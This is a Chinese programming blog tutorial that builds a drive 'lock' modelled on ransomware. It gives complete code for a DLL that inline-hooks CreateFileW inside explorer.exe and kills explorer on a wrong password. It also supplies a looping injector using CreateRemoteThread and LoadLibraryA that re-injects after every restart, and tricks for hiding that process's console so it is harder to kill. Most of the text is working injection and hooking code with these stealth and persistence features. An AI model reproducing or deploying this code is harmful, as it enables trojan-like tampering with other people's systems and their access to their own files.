Windows核心程式設計_磁碟加密
最近看電影時看到一段:黑客入侵計算機的場景,當黑客開啟某個特定的磁碟/資料夾時 會彈出一個黑色的CUI程式,要求使用者輸入密碼,覺得這個功能很col,非常類似之前很流行的木馬,一些木馬加密使用者的資料夾,索要比特幣,或者其它錢財,才能解鎖。於是本來就是Windows開發出身的我,心血來潮的去實現了這個功能。
1.必備技術
建議閱讀本篇文章之前,可以把我之前寫的幾篇文章閱讀以下,如果你對HOOK技術有很深的底功那麼可以略過。
- HOOK理論知識(https://blog.csdn.net/bjbz_cxy/article/details/80774803)
- APIHOOK(https://blog.csdn.net/bjbz_cxy/article/details/90574824)
- Dll程式設計(https://blog.csdn.net/bjbz_cxy/article/details/80569154)
2.技術要點
1.Windows下應用層所有的GUI磁碟操作都是由一個名為:explorer(Windows 資源管理器)的程式管理的
2.explorer在對磁碟進行訪問與操作的時候,使用的是“CreateFile” API來對磁碟進行IO操作
3.CreateFile
函式名:CreateFile
存在於:kernel32.dll
函式介紹:Windows下應用層對檔案/IO裝置進行操作的API函式,使用時會建立一個唯一控制程式碼,與IO裝置關聯,相當於鑰匙
函式原型:
HANDLE CreateFile(LPCTSTR lpFileName, //普通檔名或者裝置檔名
DWORD dwDesiredAccess, //訪問模式(寫/讀)
DWORD dwShareMode, //共享模式
LPSECURITY_ATTRIBUTES lpSecurityAttributes, //指向安全屬性的指標
DWORD dwCreationDisposition, //如何建立
DWORD dwFlagsAndAttributes, //檔案屬性
HANDLE hTemplateFile //用於複製檔案控制程式碼
);
引數介紹:
lpFileName String要開啟的檔案的名或裝置名。這個字串的最大長度在ANSI版本中為MAX_PATH,在unicode版本中為32767。
dwDesiredAccess指定型別的訪問物件。如果為 GENERIC_READ 表示允許對裝置進行讀訪問;如果為 GENERIC_WRITE 表示允許對裝置進行寫訪問(可組合使用);如果為零,表示只允許獲取與一個裝置有關的資訊 。
另外,還可以指定下面的控制標誌:
標準控制許可權(16-23位掩碼):
DELETE 刪除物件的許可權。
READ_CONTROL 從物件的安全描述符中讀取資訊的許可權,但不包括SACL(系統訪問控制列表)中的資訊。
WRITE_DAC 修改物件安全描述符中的DACL(隨機訪問控制列表)的許可權
WRITE_OWNER 修改物件安全描述符中的屬主的許可權
SYNCHRONIZE 同步化使用物件的許可權,即可以建立一個執行緒等待訊號量釋放(但有些物件不支援這個許可權)。
STANDARD_RIGHTS_REQUIRED 等價於前面四種許可權的總合(通常這四種是必須具有的許可權)。
STANDARD_RIGHTS_READ 一般等價於READ_CONTROL
STANDARD_RIGHTS_WRITE 一般等價於READ_CONTROL
STANDARD_RIGHTS_EXECUTE 一般等價於READ_CONTROL
STANDARD_RIGHTS_ALL 等價於前面五種許可權的總合。
特殊控制許可權(0-15位掩碼):
SPECIFIC_RIGHTS_ALL
ACCESS_SYSTEM_SECURITY
MAXIMUM_ALLOWED
GENERIC_READ
GENERIC_WRITE
GENERIC_EXECUTE
GENERIC_ALL
注:實質上是通過ACCESS_MASK結構體的一個雙字值來設定標準許可權、特殊許可權和一般許可權的。
dwShareModeLong, 如果是零表示不共享; 如果是FILE_SHARE_DELETE表示隨後開啟操作物件會成功,但只有刪除訪問請求的許可權;如果是FILE_SHARE_READ隨後開啟操作物件會成功只有請求讀訪問的許可權;如果是FILE_SHARE_WRITE 隨後開啟操作物件會成功,但只有請求寫訪問的許可權。
lpSecurityAttributesSECURITY_ATTRIBUTES, 指向一個SECURITY_ATTRIBUTES結構的指標,定義了檔案的安全特性(如果作業系統支援的話)
dwCreationDispositionLong,下述常數之一:
CREATE_NEW 建立檔案;如檔案存在則會出錯
CREATE_ALWAYS 建立檔案,會改寫前一個檔案
OPEN_EXISTING 檔案必須已經存在。由裝置提出要求
OPEN_ALWAYS 如檔案不存在則建立它
TRUNCATE_EXISTING 將現有檔案縮短為零長度
dwFlagsAndAttributesLong, 一個或多個下述常數
FILE_ATTRIBUTE_ARCHIVE 標記歸檔屬性
FILE_ATTRIBUTE_COMPRESSED 將檔案標記為已壓縮,或者標記為檔案在目錄中的預設壓縮方式
FILE_ATTRIBUTE_NORMAL 預設屬性
FILE_ATTRIBUTE_HIDDEN 隱藏檔案或目錄
FILE_ATTRIBUTE_READONLY 檔案為只讀
FILE_ATTRIBUTE_SYSTEM 檔案為系統檔案
FILE_FLAG_WRITE_THROUGH 作業系統不得推遲對檔案的寫操作
FILE_FLAG_OVERLAPPED 允許對檔案進行重疊操作
FILE_FLAG_NO_BUFFERING 禁止對檔案進行緩衝處理。檔案只能寫入磁碟卷的扇區塊
FILE_FLAG_RANDOM_ACCESS 針對隨機訪問對檔案緩衝進行優化
FILE_FLAG_SEQUENTIAL_SCAN 針對連續訪問對檔案緩衝進行優化
FILE_FLAG_DELETE_ON_CLOSE 關閉了上一次開啟的控制程式碼後,將檔案刪除。特別適合臨時檔案
也可在Windows NT下組合使用下述常數標記:
SECURITY_ANONYMOUS, SECURITY_IDENTIFICATION, SECURITY_IMPERSONATION, SECURITY_DELEGATION, SECURITY_CONTEXT_TRACKING, SECURITY_EFFECTIVE_ONLY
hTemplateFile,hTemplateFile為一個檔案或裝置控制程式碼,表示按這個引數給出的控制程式碼為模板建立檔案(就是將該控制程式碼檔案拷貝到lpFileName指定的路徑,然後再開啟)。它將指定該檔案的屬性擴充套件到新建立的檔案上面,這個引數可用於將某個新檔案的屬性設定成與現有檔案一樣,並且這樣會忽略dwAttrsAndFlags。通常這個引數設定為NULL,為空表示不使用模板,一般為空。
返回值:成功返回一個HANDLE型別的控制程式碼,失敗返回0,並設定對應的出錯碼
4.準備工作
通過上面的知識點,我們可以得知:
- Windows下應用層的所有GUI對磁碟操作都是由explorer(資源管理器)來完成的。
- explorer所使用的API為CreateFile
- CreateFile存在於kernel32.dll中
那麼我們只需要通過APIHOOK,入侵explorer,然後HOOK CreateFile這個API,然後在通過CreateFIle的第一個引數來判斷資料夾是否是我們所需要讀寫的資料夾,如果是則調出加密程式,否則則讓CreateFile正常工作。
5. 編寫HOOK API的DLL檔案
1.編寫Hook類
這段程式碼可以參考我之前寫的關於API Hook的技術點,這裡就不重複講解了,不然文章就重了。
class MyHookClass {
public:
MyHookClass()
{
m_pfnOld = nullptr;
ZeroMemory(m_bNewBytes, 5);
ZeroMemory(m_bOldBytes, 5);
}
~MyHookClass()
{
UnHook();
}
BOOL Hook(char* szModuleName/*模組名*/, char* szFuncName/*函式名*/, PROC pHookFunc/*新的函式地址*/)
{
m_pfnOld = GetProcAddress(GetModuleHandleA(szModuleName), szFuncName);
if (!m_pfnOld)
{
return FALSE;
}
SIZE_T dwNum = 0;
ReadProcessMemory(GetCurrentProcess(), m_pfnOld, m_bOldBytes, 5, &dwNum);
m_bNewBytes[0] = '\xe9';
*(SIZE_T*)(m_bNewBytes + 1) = (SIZE_T)pHookFunc - (SIZE_T)m_pfnOld - 5;
WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bNewBytes, 5, &dwNum);
return TRUE;
}
//復原
void UnHook()
{
if (m_pfnOld != nullptr)
{
SIZE_T dwNum = 0;
WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bOldBytes, 5, &dwNum);
}
}
//重置
bool ReHook()
{
if (m_pfnOld != nullptr)
{
SIZE_T dwNum = 0;
WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bNewBytes, 5, &dwNum);
return FALSE;
}
return TRUE;
}
private:
PROC m_pfnOld;//原API函式地址
BYTE m_bOldBytes[5];//原api前5個位元組的跳轉地址
BYTE m_bNewBytes[5];//新的跳轉地址
};
2.編寫一個自己的CreateFile
因為我們要Hook API,所以需要替換一個自己的CreateFile
先宣告HOOK類,用於HOOK
MyHookClass g_MsgHook;
自己的CreateFile
這裡我用到了AllocConsole,因為不是CUI程式,所以我們需要額外擴充套件一個終端出來,要求使用者輸入密碼
程式碼註釋非常清楚,有不懂的地方可以在下方留言
HANDLE WINAPI MyCreateFile(
_In_ LPCTSTR lpFileName,
_In_ DWORD dwDesiredAccess,
_In_ DWORD dwShareMode,
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
_In_ DWORD dwCreationDisposition,
_In_ DWORD dwFlagsAndAttributes,
_In_opt_ HANDLE hTemplateFile
) {
//宣告返回控制程式碼
HANDLE hand;
//鎖定磁碟,注意這裡開啟碟符的路徑是“\\.\D:”
LPCTSTR lpStr1 = _T("\\\\.\\D:");
//因為是LPCTSTR型別,所以我們用cstring型別格式化在比對
CString str1(lpStr1);
CString str2(lpFileName);
//呼叫StrCmp來比對
if (StrCmp(str1, str2) == 0) {
//申請控制檯
AllocConsole();
//讀寫許可權
freopen("CONOUT$", "w+t", stdout);
freopen("CONIN", "r+t", stdin);
wprintf(L"Please input a password:");
//密碼快取
TCHAR Buffer[100]; //開快取
memset(Buffer, 0, 100);
DWORD dwCount = 0;//已輸入數
//這裡我們不能使用scanf,必須使用ReadConsole,因為申請的控制檯是一個獨立的console,這個console的INPUT不是標準的stdin,所以scanf不能訪問讀緩衝區的
//獲取input的控制程式碼
HANDLE hdlRead = GetStdHandle(STD_INPUT_HANDLE);
//讀取asci碼,否則雙位元組無法匹配
ReadConsoleA(hdlRead, Buffer, 100, &dwCount, NULL);
//判斷是否相等
if (_tcscmp(Buffer, L"helloword") == 0) {
//相等的情況下恢復API鉤子
g_MsgHook.UnHook();
//呼叫原函式
hand = CreateFile(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);
//在此Hook成我們自己的,如果不這樣下次就進不來了
g_MsgHook.ReHook();
//返回控制程式碼
return hand;
}
else {//不相等直接列印並死掉
wprintf(L"Password error");
//這裡我們必須呼叫exit,因為如果CreateFileW失敗資源管理器會嘗試別的函式,如果我們hook所有的函式,都不讓他成功的話,資源管理器會自動重啟。
//所以這裡我們索性直接退出,因為已經嵌入到資源管理器裡了,所以使用exit可以直接殺死父程式
exit(0);
}
}
else {
//如果不是目標盤則呼叫原函式
g_MsgHook.UnHook();
hand = CreateFile(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);
g_MsgHook.ReHook();
return hand;
}
return hand;
}
最後的dll main函式裡就是在最開始注入HOOK
在DLLPROCESS_ATTACH,當動態庫第一次被載入到程式裡時的訊息裡呼叫HOOK函式,這裡我HOOK的是CreateFileW,因為我的系統是Windows10,Windows10在開發程式時使用的是unicode(32)編碼,所以HOOK在後面有W的
win7以下和XP是ANSI編碼,使用的是CreateFileA
這是個小細節請注意
同時我們的DLL要編譯成64位,因為資源管理器是64位程式。
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
char szModuleName[MAXBYTE] = { 0 };//"user32.dll";
char szFuncName[MAXBYTE] = { 0 };// "MessageBoxW";
strcpy_s(szModuleName, MAXBYTE, "Kernel32.dll");
strcpy_s(szFuncName, MAXBYTE, "CreateFileW");
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_MsgHook.Hook(szModuleName, szFuncName, (PROC)MyCreateFile);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
完整程式碼:
// dllmain.cpp : 定義 DLL 應用程式的入口點。
#define _CRT_SECURE_NO_WARNINGS
#include "pch.h"
#include <stdio.h>
#include <atlstr.h>
#include<iostream>
using namespace std;
//api hook class
class MyHookClass {
public:
MyHookClass()
{
m_pfnOld = nullptr;
ZeroMemory(m_bNewBytes, 5);
ZeroMemory(m_bOldBytes, 5);
}
~MyHookClass()
{
UnHook();
}
BOOL Hook(char* szModuleName/*模組名*/, char* szFuncName/*函式名*/, PROC pHookFunc/*新的函式地址*/)
{
m_pfnOld = GetProcAddress(GetModuleHandleA(szModuleName), szFuncName);
if (!m_pfnOld)
{
return FALSE;
}
SIZE_T dwNum = 0;
ReadProcessMemory(GetCurrentProcess(), m_pfnOld, m_bOldBytes, 5, &dwNum);
m_bNewBytes[0] = '\xe9';
*(SIZE_T*)(m_bNewBytes + 1) = (SIZE_T)pHookFunc - (SIZE_T)m_pfnOld - 5;
WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bNewBytes, 5, &dwNum);
return TRUE;
}
//復原
void UnHook()
{
if (m_pfnOld != nullptr)
{
SIZE_T dwNum = 0;
WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bOldBytes, 5, &dwNum);
}
}
//重置
bool ReHook()
{
if (m_pfnOld != nullptr)
{
SIZE_T dwNum = 0;
WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bNewBytes, 5, &dwNum);
return FALSE;
}
return TRUE;
}
private:
PROC m_pfnOld;//原API函式地址
BYTE m_bOldBytes[5];//原api前5個位元組的跳轉地址
BYTE m_bNewBytes[5];//新的跳轉地址
};
MyHookClass g_MsgHook;
HANDLE WINAPI MyCreateFile(
_In_ LPCTSTR lpFileName,
_In_ DWORD dwDesiredAccess,
_In_ DWORD dwShareMode,
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
_In_ DWORD dwCreationDisposition,
_In_ DWORD dwFlagsAndAttributes,
_In_opt_ HANDLE hTemplateFile
) {
//宣告返回控制程式碼
HANDLE hand;
//鎖定磁碟,注意這裡開啟碟符的路徑是“\\.\D:”
LPCTSTR lpStr1 = _T("\\\\.\\D:");
//因為是LPCTSTR型別,所以我們用cstring型別格式化在比對
CString str1(lpStr1);
CString str2(lpFileName);
//呼叫StrCmp來比對
if (StrCmp(str1, str2) == 0) {
//申請控制檯
AllocConsole();
//讀寫許可權
freopen("CONOUT$", "w+t", stdout);
freopen("CONIN", "r+t", stdin);
wprintf(L"Please input a password:");
//密碼快取
TCHAR Buffer[100]; //開快取
memset(Buffer, 0, 100);
DWORD dwCount = 0;//已輸入數
//這裡我們不能使用scanf,必須使用ReadConsole,因為申請的控制檯是一個獨立的console,這個console的INPUT不是標準的stdin,所以scanf不能訪問讀緩衝區的
//獲取input的控制程式碼
HANDLE hdlRead = GetStdHandle(STD_INPUT_HANDLE);
//讀取asci碼,否則雙位元組無法匹配
ReadConsoleA(hdlRead, Buffer, 100, &dwCount, NULL);
//判斷是否相等
if (_tcscmp(Buffer, L"helloword") == 0) {
//相等的情況下恢復API鉤子
g_MsgHook.UnHook();
//呼叫原函式
hand = CreateFile(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);
//在此Hook成我們自己的,如果不這樣下次就進不來了
g_MsgHook.ReHook();
//返回控制程式碼
return hand;
}
else {//不相等直接列印並死掉
wprintf(L"Password error");
//這裡我們必須呼叫exit,因為如果CreateFileW失敗資源管理器會嘗試別的函式,如果我們hook所有的函式,都不讓他成功的話,資源管理器會自動重啟。
//所以這裡我們索性直接退出,因為已經嵌入到資源管理器裡了,所以使用exit可以直接殺死父程式
exit(0);
}
}
else {
//如果不是目標盤則呼叫原函式
g_MsgHook.UnHook();
hand = CreateFile(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);
g_MsgHook.ReHook();
return hand;
}
return hand;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
char szModuleName[MAXBYTE] = { 0 };//"user32.dll";
char szFuncName[MAXBYTE] = { 0 };// "MessageBoxW";
strcpy_s(szModuleName, MAXBYTE, "Kernel32.dll");
strcpy_s(szFuncName, MAXBYTE, "CreateFileW");
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_MsgHook.Hook(szModuleName, szFuncName, (PROC)MyCreateFile);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
6.注入 Explorer
寫完dll後就要寫注入程式
因為ALS地址隨機化與記憶體保護的原因我們在Hook之前需要注入到Explorer的程式空間裡去。
以下注入過程與實踐方法可以參考我之前寫的這篇:https://blog.csdn.net/bjbz_cxy/article/details/80774803
這裡我們要迴圈注入,因為上面說過,exit會結束掉程式,而程式死掉以後,我們的動態庫會隨著解除安裝,所以我們要寫一個守護程式一直默默的寫入
這個庫的思路就是先判斷資源管理器是否存在,存在則寫入,然後設定條件變數,不在寫入,當資源管理器發生重啟後(與dll裡的exit程式碼結合)在重新寫入
#include <iostream>
#include<windows.h>
#define DESK "C:\\Users\\stephen zhou\\source\\repos\\Dll1\\x64\\Debug\\Dll1.dll"
int main()
{
const DWORD THREADSIZE = 1024 * 4;
HANDLE pRemoteThread, hRemoteProcess;
PTHREAD_START_ROUTINE pfnAddr;
DWORD pId;
void* pFileRemote;
bool sign = false;
while (1) {
HWND hWinPro = ::FindWindow(L"ProgMan", NULL);
if (!hWinPro) {
sign = false;
}
if (sign == false) {
if (hWinPro){
::GetWindowThreadProcessId(hWinPro, &pId); //獲得explorer控制程式碼
hRemoteProcess = ::OpenProcess(PROCESS_ALL_ACCESS, false, pId);
pFileRemote = ::VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!::WriteProcessMemory(hRemoteProcess, pFileRemote, DESK, THREADSIZE, NULL))
return 0;
pfnAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");
pRemoteThread = ::CreateRemoteThread(hRemoteProcess, NULL, 0, pfnAddr, pFileRemote, 0, NULL);
sign = true;
}
}
}
return 0;
}
效果:
但是如果守護程式一直顯示視窗很容易被殺掉,如果我們想隱藏控制檯只需要加上這條指令:
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
/subsystem:\"windows\"
連結成windows程式(winmain函式那種)baidu
/entry:\"mainCRTStartup\"
入口函式是mainCRTStartup
意思是連結成Windows視窗程式,啟動時Windows就不會去幫我們呼叫cmd視窗去執行我們的程式了,但是我們的程式沒有GUI,所以沒有介面。
注意這種方法如果在vsIde環境下執行是無效的,我們需要編譯好後到目錄下開啟。
還有一種方法是API
HWND hwnd;
SetConsoleTitle("hello")
hwnd=FindWindow("ConsoleWindowClass","hello"); //處理頂級視窗的類名和視窗名稱匹配指定的字串,不搜尋子視窗。
if(hwnd)
{
ShowWindow(hwnd,SW_HIDE); //設定指定視窗的顯示狀態
}
相關文章
- windows核心程式設計--程式Windows程式設計
- windows核心程式設計--核心物件Windows程式設計物件
- Windows核心程式設計_HookWindows程式設計Hook
- windows核心程式設計--windows程式的執行Windows程式設計
- windows核心程式設計--纖程Windows程式設計
- windows核心程式設計--DLL基本Windows程式設計
- windows核心程式設計--精華Windows程式設計
- 《Windows核心程式設計》筆記(一)Windows程式設計筆記
- windows核心程式設計--字符集Windows程式設計
- windows核心程式設計--DLL高階Windows程式設計
- Windows核心程式設計(一)-環境搭建Windows程式設計
- windows核心程式設計--執行緒池Windows程式設計執行緒
- windows核心程式設計--記憶體堆疊Windows程式設計記憶體
- windows核心程式設計--記憶體對映檔案Windows程式設計記憶體
- C++核心程式設計C++程式設計
- Windows 程式設計簡介從C/C++到Windows程式設計Windows程式設計C++
- Android安全加密:HTTPS程式設計Android加密HTTP程式設計
- 核心動畫程式設計(一)動畫程式設計
- 核心動畫程式設計(二)動畫程式設計
- Windows程式設計系列:圖形程式設計基礎Windows程式設計
- MR核心程式設計思想總結程式設計
- C++核心程式設計筆記C++程式設計筆記
- 核心程式設計培訓目錄程式設計
- Windows sdk程式設計筆記Windows程式設計筆記
- 7-Windows程式設計 -滑鼠Windows程式設計
- 2-Windows程式設計 -UnicodeWindows程式設計Unicode
- Windows核心程式設計:第10章 同步裝置IO與非同步裝置IOWindows程式設計非同步
- 程式設計的一些抽象核心程式設計抽象
- 驅動篇——核心程式設計基礎程式設計
- 四. 文字程式設計--Windows程式設計課程學習筆記程式設計Windows筆記
- 6-Windows程式設計 -鍵盤Windows程式設計
- 程式設計中常用的加密演算法程式設計加密演算法
- JavaScript核心程式設計(一點點補充)JavaScript程式設計
- windows核心程式設計課程實踐---多執行緒檔案搜尋器(MFC介面)Windows程式設計執行緒
- Flink實戰(七) - Time & Windows程式設計Windows程式設計
- 4-Windows程式設計 -文字輸出Windows程式設計
- win10怎麼給磁碟加密 win10設定磁碟密碼如何操作Win10加密密碼
- 程式設計師需要了解的硬核知識之磁碟程式設計師